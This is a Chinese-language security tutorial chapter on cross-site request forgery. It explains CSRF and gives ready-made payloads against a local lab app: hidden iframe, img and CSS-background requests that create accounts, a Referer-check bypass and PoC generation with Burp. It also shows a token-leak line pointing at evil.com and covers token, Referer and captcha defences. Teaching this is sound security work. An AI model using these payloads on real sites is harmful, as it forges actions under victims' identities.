第五章-CSRF漏洞
第一节 CSRF原理介绍
1.1 CSRF漏洞定义
CSRF(Cross-site request forery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF。
XSS与CSRF区别:
1、XSS利用站点内的信任用户,盗取Cookie;
2、CSRF通过伪装成受信任用户请求受信任的网站。
1.2 CSRF漏洞原理
利用目标用户的合法身份,以目标用户的名义执行某些非法操作。
例如:简单转账案例
初始化链接:http://www.xxx.com/pay.php?user=xx&money=100
构造恶意丽链接:
http://www.xxx.com/pay.php?user=恶意用户&money=10000
1.3 CSRF漏洞代码分析
<?php
//会话验证
$user = $_GET[“user”];
$money = $_GET[“money”];
//转账操作
?>
由此可以得出CSRF成功利用条件:
1、用户已经登陆系统
2、用户访问对应URL
1.4 CSRF漏洞利用
以BWAPP CSRF1中的Low级别为例。
第二节 无防护的CSRF漏洞利用
2.1 GET型CSRF代码分析
2.2 GET型CSRF利用
构造GET型 URL,提交username和password参数,以此来新建对应的用户名和密码。
http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=admin111111&password=132251231
隐蔽利用 img标签 src属性
2.3 POST型CSRF代码分析
2.4 POST型CSRF利用
设置表单用于提交。例如:<input type=”hidden” name=”username” value=”1111” />
第三节 CSRF漏洞自动化探测
3.1 手动探测原理
手动探测原理在于探测web应用程序具有防止CSRF的措施。
如果Web应用程序的HTTP请求中没有对应的预防措施,那么很大程度上就确定存在CSRF漏洞。
3.2 自动化探测工具介绍
CSRFTester是一款CSRF漏洞的测试工具。
CSRFTester工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在CSRFTester中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修测试的请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
下载地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip
3.3 自动化探测工具使用
1、设置浏览器代理:127.0.0.1:8008
2、登录Web应用程序,提交表单,在CSRF工具中修改表单内容,查看是否更改,如果更改表面存在CSRF漏洞。
3、生产POC代码。
3.4 利用CSRF漏洞
使用服务器搭建CSRF POC访问页面。
一定不要轻易点击一些未知链接。
第四节 CSRF漏洞token防御介绍
4.1 漏洞修补逻辑分析
CSRF漏洞实质:服务器无法准确判断当前请求是否是合法用户的自定义操作。
如果服务器在用户登录之后给予用户一个唯一合法令牌,每一次操作过程中,服务器都会验证令牌是否正确,如果正确那么执行操作。不正确不执行操作。
一般情况下,给予的令牌会写入表单中隐藏域的value值中,随着表单内容进行提交。
4.2 简单代码模型分析
远程构造CSRF利用POC,那么直接中招。如果利用在增删改中设置唯一令牌,执行操作时只有提交令牌才能操作的话,就可以有效防止CSRF。如果令牌不正确,那么不执行操作。并给出提示内容。
4.3 生成token代码分析
Token作为识别操作是否是当前用户自己操作的唯一凭证,需要设置为复杂难以被破解的内容。
例如:
function generateToken(){
$salt = “test” . date("Y/m/d") ; 出现问题
$token = md5($salt);
return $token;
}
调用函数查看生成的token
4.4 使用token进行CSRF漏洞防御
1、登录验证成功之后,在会话SESSION[“user_token”]中保存Token。
2、在后台操作中,增删改表单中添加隐藏域 hidden,设置value为Token。
3、提交之后进行验证Token是否正确。
简化代码演示:
Token验证过程,从实践中理解Token防御CSRF的过程。
第五节 CSRF绕过refer技巧
5.1 Referer防御CSRF原理
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
当用户点击被构造好的CSRF利用页面,那么在执行用户对应操作时,提交的HTTP请求中就有对应的Referer值,此时服务端判断Referer值是否与服务器的域名信息有关。如果不相关则不执行操作。
5.2 Referer防御代码编写
在PHP中使用 $_SERVER['HTTP_REFERER'] 获取页面提交请求中的Referer值。
<?php
if(strpos($_SERVER['HTTP_REFERER'],'xx.com') !== false)
{
判断成功
}
else
{
判断失败
}
?>
5.3 绕过Referer技巧
技巧:如果服务端只判断当前的Referer中是否具有域名,那么直接可以新建文件夹进行绕过。
5.4 Burpsuite自动生成POC
利用Burpsuite自动生成CSRF POC。
第六节 GET型CSRF漏洞利用方法
6.1 链接利用
在html中,a标签代表链接,可以将当前的”焦点” 指引到其他位置。
移动的“焦点”需要发送对应的请求到链接指向的地址,然后返回响应。
<a href = “请求地址,会被http 请求到的未知,可以携带GET型参数”> 内容 </a>
<a href = “http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456”>请点击我</a>
6.2 iframe利用
iframe标签内容将在页面加载过程中自动进行加载, src指向的位置就是页面请求的位置
注意:可以设置iframe 的 style -> display:none,以此来不显示iframe加载的内容。
<iframe src=”http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456” style=”display:none” />
6.3 img标签利用
img标签的内容会随着页面加载而被请求,以此src指向的位置会在页面加载过程中进行请求。
<img src=”http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456” />
6.4 CSS-background利用
可以利用 CSS中 background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求
例如:
body
{
background: #00FF00 url(bgimage.gif) no-repeat fixed top;
}
可以利用 CSS中 background样式中的url来加载远程机器上的内容,从而对url中的内容发送HTTP请求
例如:
body
{
background: #00FF00 url(“http://127.0.0.1/csrf_test/get_csrf/new_user.php?username=liuxiaoyang&password=123456”) no-repeat fixed top;
}
第七节 CSRF漏洞防御介绍
7.1 验证码防御
验证码防御被认为是对抗CSRF最为简单而且有效的防御方法。
CSRF在用户不知情的情况下完成对应操作,而验证码强制用户与应用程序交互,才能最终完成操作。通常情况下,验证码能够很好的遏制CSRF。
出于用户体验考虑,不可能每一个操作都加入验证码。所以验证码只作为辅助手段,不能作为防御CSRF的主要解决方案。
验证码防御也可以被认为是二次验证
7.2 Referer Check防御
Referer Check主要用于防止盗链。同理也可以用来检查请求是否来自合法的“源”。
比如用户修改密码,一定是在登录系统后台之后进行操作。所以在修改提交表单的时候,一定会从系统后台页面提交。携带Referer头。如果Referer不是当前系统的域,那么极有可能遭受CSRF。
缺陷:服务器并非任何时候都可以取到Referer。例如HTTPS跳转到HTTP。
7.3 Anti CSRF Token防御
CSRF本质原因:重要操作的所有参数都是被恶意攻击者猜测到的。
那么防御措施就是生成一个随机且不被轻易猜测的参数。目前大多数防御都采用token(不可预测)。
7.4 Token泄露
例如:GET型Token泄露
页面包含 <img src=”http://evil.com/” /> 那么请求中的Referer就会携带对应的GET Token。
例如:POST型Token泄露
利用XSS漏洞读取Cookie,获取存储在其中的Token值。